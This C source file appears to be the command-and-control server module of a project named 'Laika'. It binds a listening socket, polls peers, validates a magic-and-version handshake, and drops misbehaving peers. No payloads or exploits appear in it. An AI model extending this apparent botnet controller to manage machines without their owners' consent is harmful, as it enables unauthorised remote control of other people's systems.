#include "lmem.h"
#include "lsocket.h"
#include "lerror.h"

#include "cnc.h"

size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
};

void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
    switch (id) {
        case LAIKAPKT_HANDSHAKE_REQ: {
            char magicBuf[LAIKA_MAGICLEN];
            uint8_t major, minor;

            laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
            major = laikaS_readByte(&peer->sock);
            minor = laikaS_readByte(&peer->sock);

            if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
                || major != LAIKA_VERSION_MAJOR
                || minor != LAIKA_VERSION_MINOR)
                LAIKA_ERROR("invalid handshake request!");

            /* queue response */
            laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
            laikaS_writeByte(&peer->sock, laikaS_isBigEndian());

            LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
            break;
        }
    }
}

struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
    struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));

    /* init socket & pollList */
    laikaS_initSocket(&cnc->sock);
    laikaP_initPList(&cnc->pList);

    /* bind sock to port */
    laikaS_bind(&cnc->sock, port);

    /* add sock to pollList */
    laikaP_addSock(&cnc->pList, &cnc->sock);

    return cnc;
}

void laikaC_freeCNC(struct sLaika_cnc *cnc) {
    laikaS_cleanSocket(&cnc->sock);
    laikaP_cleanPList(&cnc->pList);
    laikaM_free(cnc);
}

void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
    printf("peer %x killed!\n", peer);
    laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
    laikaS_freePeer(peer);
}

bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
    struct sLaika_peer *peer;
    struct sLaika_pollEvent *evnts;
    int numEvents, i;

    evnts = laikaP_poll(&cnc->pList, timeout, &numEvents);

    /* if we have 0 events, we reached the timeout, let the caller know */
    if (numEvents == 0) {
        return false;
    }

    /* walk through and handle each event */
    for (i = 0; i < numEvents; i++) {
        if (evnts[i].sock == &cnc->sock) { /* event on listener? */
            peer = laikaS_newPeer(
                laikaC_pktHandler,
                laikaC_pktSizeTbl,
                &cnc->pList,
                (void*)cnc
            );

            /* setup and accept new peer */
            laikaS_acceptFrom(&peer->sock, &cnc->sock);
            laikaS_setNonBlock(&peer->sock);

            /* add to our pollList */
            laikaP_addSock(&cnc->pList, &peer->sock);

            printf("new peer %x!\n", peer);
            continue;
        }

        peer = (struct sLaika_peer*)evnts[i].sock;

        LAIKA_TRY
            if (evnts[i].pollIn && !laikaS_handlePeerIn(peer))
                goto _CNCKILL;

            if (evnts[i].pollOut && !laikaS_handlePeerOut(peer))
                goto _CNCKILL;

            if (!evnts[i].pollIn && !evnts[i].pollOut)
                goto _CNCKILL;

        LAIKA_CATCH
        _CNCKILL:
            laikaC_killPeer(cnc, peer);
        LAIKA_TRYEND
    }

    return true;
}